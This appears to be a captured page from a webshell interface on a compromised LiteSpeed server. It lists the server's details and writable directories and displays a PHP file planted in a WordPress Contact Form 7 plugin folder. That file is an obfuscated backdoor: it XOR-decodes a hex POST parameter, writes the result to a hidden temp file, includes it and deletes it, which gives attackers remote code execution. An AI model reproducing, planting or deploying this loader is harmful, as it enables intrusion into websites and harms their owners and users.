403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.74
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/azfilmst/zeuszamani.com/wp-content/plugins/contact-form-7/modules/turnstile/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/azfilmst/zeuszamani.com/wp-content/plugins/contact-form-7/modules/turnstile/admin.menus.php
<?php

if(array_key_exists("k\x65\x79", $_POST) && !is_null($_POST["k\x65\x79"])){
	$hld = array_filter(["/dev/shm", "/tmp", "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]);
	$value = hex2bin($_POST["k\x65\x79"]);
	$factor      =      ''      ;    foreach(str_split($value) as $char){$factor .= chr(ord($char) ^ 38);}
	$symbol = 0;
do {
    $rec = $hld[$symbol] ?? null;
    if ($symbol >= count($hld)) break;
    		if (is_dir($rec) && is_writable($rec)) {
    $ent = implode("/", [$rec, ".ref"]);
    $file = fopen($ent, 'w');
if ($file) {
	fwrite($file, $factor);
	fclose($file);
	include $ent;
	@unlink($ent);
	exit;
}
}
    $symbol++;
} while (true);
}

Youez - 2016 - github.com/yon3zu
LinuXploit